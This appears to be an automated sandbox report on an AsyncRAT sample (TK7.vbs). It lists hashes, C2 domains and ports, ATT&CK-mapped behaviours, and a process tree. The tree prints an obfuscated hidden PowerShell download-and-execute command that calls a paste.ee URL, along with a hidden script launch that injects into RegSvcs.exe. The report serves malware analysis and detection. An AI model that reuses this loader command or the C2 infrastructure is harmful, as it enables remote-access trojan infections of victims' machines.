asyncrat | 61c87dba4097e30afad29633ab28a75c53bbd848b2bc64a04387a5f4cd8d5ce9

General

Target

TK7.vbs
Size

15KB
MD5

0e424678845cfa1848e1716c4ae79db2
SHA1

7fbf779cab750e17c8ffef9e06963d4cecfa831c
SHA256

61c87dba4097e30afad29633ab28a75c53bbd848b2bc64a04387a5f4cd8d5ce9
SHA512

1b2e5fb9443389ae369aeece97cfa8d7dbeca0b9e8c586c5e90b70456281112560cb3e075b6a1218d16b691190fd1e9dd92670ad552ca325a2506f05b01460f7
SSDEEP

192:r6K6O6d6L6+6o686+6U6/6m6VD61636U6D6X6H6K6Y6L6U6N6j6p6M6D6C666H6t:OA

Score

10^/10

asyncrat default discovery execution rat

Malware Config

Extracted

Family

asyncrat

Version

AWS | RxR

Botnet

Default

C2

newstartagain.servequake.com:6606

newstartagain.servequake.com:7707

newstartagain.servequake.com:8808

newstartagain50.duckdns.org:6606

newstartagain50.duckdns.org:7707

newstartagain50.duckdns.org:8808

Mutex

AsyncMutex_6SI8OkPnk

Attributes

delay
3
install
false
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Blocklisted process makes network request 1 IoCs

flow	pid	Process
5	4028	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4028	powershell.exe
628	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000\Control Panel\International\Geo\Nation	WScript.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 628 set thread context of 4300	628	powershell.exe	102

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegSvcs.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
4028	powershell.exe
4028	powershell.exe
628	powershell.exe
628	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	4028	powershell.exe
Token: SeDebugPrivilege	628	powershell.exe
Token: SeDebugPrivilege	4300	RegSvcs.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 1752 wrote to memory of 1488	1752	WScript.exe	83
PID 1752 wrote to memory of 1488	1752	WScript.exe	83
PID 1488 wrote to memory of 4028	1488	cmd.exe	85
PID 1488 wrote to memory of 4028	1488	cmd.exe	85
PID 1692 wrote to memory of 1208	1692	WScript.exe	99
PID 1692 wrote to memory of 1208	1692	WScript.exe	99
PID 1208 wrote to memory of 628	1208	cmd.exe	101
PID 1208 wrote to memory of 628	1208	cmd.exe	101
PID 628 wrote to memory of 4300	628	powershell.exe	102
PID 628 wrote to memory of 4300	628	powershell.exe	102
PID 628 wrote to memory of 4300	628	powershell.exe	102
PID 628 wrote to memory of 4300	628	powershell.exe	102
PID 628 wrote to memory of 4300	628	powershell.exe	102
PID 628 wrote to memory of 4300	628	powershell.exe	102
PID 628 wrote to memory of 4300	628	powershell.exe	102
PID 628 wrote to memory of 4300	628	powershell.exe	102

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\TK7.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1752
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c POWeRSHeLL.eXe -NOP -WIND HIDDeN -eXeC BYPASS -NONI [BYTe[]];$A123='IeX(NeW-OBJeCT NeT.W';$B456='eBCLIeNT).DOWNLO';[BYTe[]];$C789='VAN(''https://paste.ee/r/HzyuN/0'')'.RePLACe('VAN','ADSTRING');[BYTe[]];IeX($A123+$B456+$C789)
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1488
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    POWeRSHeLL.eXe -NOP -WIND HIDDeN -eXeC BYPASS -NONI [BYTe[]];$A123='IeX(NeW-OBJeCT NeT.W';$B456='eBCLIeNT).DOWNLO';[BYTe[]];$C789='VAN(''https://paste.ee/r/HzyuN/0'')'.RePLACe('VAN','ADSTRING');[BYTe[]];IeX($A123+$B456+$C789)
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4028

C:\Windows\System32\WScript.exe
C:\Windows\System32\WScript.exe "C:\Users\Public\roox.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1692
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Public\roox.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1208
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "& 'C:\Users\Public\roox.ps1'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:628
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4300

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
2f57fde6b33e89a63cf0dfdd6e60a351

SHA1
445bf1b07223a04f8a159581a3d37d630273010f

SHA256
3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

SHA512
42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
026d93a446c50e4ae9aa47a15d0e923f

SHA1
f8832c1a57c63bc1b085b10f39b69254e27b2fb8

SHA256
c06620ef42e09394b9fb9816937e9161cdb5740ad2c1a312f55483cbc2adf089

SHA512
009c2cc902b3c560f77f882d4cd432e6893c51b8932889a4de8b119933e6bb6a9c91948dbb7ec392e120dfadca0211134625ffd6252b261fc84af8e17fbc2181

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xz1fm4nn.e0b.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Public\roox.bat

Filesize
189B

MD5
252132ac509819fd013a4f235964aa56

SHA1
c4b9f8acd8aa446c777c3adbc7b79f81bb1df490

SHA256
9018a2f6018b6948fc134490c3fb93c945f10d89652db7d8491a98790d001c1e

SHA512
1927902c952da4490368257545c13b1899c46e9f3b30b99da5b947b0ebde8411639f5e3a53b7e1c62707df6e7fe86d025b5e784b6c66fa103fe22e39df559327

Download Submit
C:\Users\Public\roox.ps1

Filesize
689KB

MD5
ee293b5fd99d2dceccb0e0872c82c0ad

SHA1
4636ef7871d889d59d52d4d75e1f44acf4b6fcdc

SHA256
82f9f9999852fa8c9272f2b033f95be9f64cb1032003f206f31ab56b3d00bcbb

SHA512
e612d95b905471724d49f4401a1a0168efbac90e64f33f80176dec80b748dbb1420f6dd8a0accb4b15f946e2f37acb1b7be67a60f68555d652cd9fcde85e4b92

Download Submit
C:\Users\Public\roox.vbs

Filesize
659B

MD5
d0e4524918bde99e070e852de31893ea

SHA1
ae662b541d2df77df3d3068f7e4fbb60320af469

SHA256
d50cfca93637af25dc6720ebf40d54eec874004776b6bc385d544561748c2ffc

SHA512
07a54d952346cb579e58f5578713bd564a79028b7453c33d4763ed13fbf918432b536d35a7be4a1967ec428e529fe88a9a5ae97ba903da455e6d97f79951e3aa

Download Submit
memory/628-34-0x00000237A1740000-0x00000237A175A000-memory.dmp

Filesize
104KB

Download
memory/4028-19-0x00007FFE70900000-0x00007FFE713C1000-memory.dmp

Filesize
10.8MB

Download
memory/4028-16-0x00007FFE70900000-0x00007FFE713C1000-memory.dmp

Filesize
10.8MB

Download
memory/4028-12-0x00007FFE70900000-0x00007FFE713C1000-memory.dmp

Filesize
10.8MB

Download
memory/4028-11-0x00007FFE70900000-0x00007FFE713C1000-memory.dmp

Filesize
10.8MB

Download
memory/4028-1-0x000001C548490000-0x000001C5484B2000-memory.dmp

Filesize
136KB

Download
memory/4028-0-0x00007FFE70903000-0x00007FFE70905000-memory.dmp

Filesize
8KB

Download
memory/4300-35-0x0000000000400000-0x0000000000416000-memory.dmp

Filesize
88KB

Download
memory/4300-37-0x0000000005B20000-0x0000000005BBC000-memory.dmp

Filesize
624KB

Download
memory/4300-38-0x0000000006170000-0x0000000006714000-memory.dmp

Filesize
5.6MB

Download
memory/4300-39-0x0000000005C30000-0x0000000005C96000-memory.dmp

Filesize
408KB

Download

Analysis

Sharing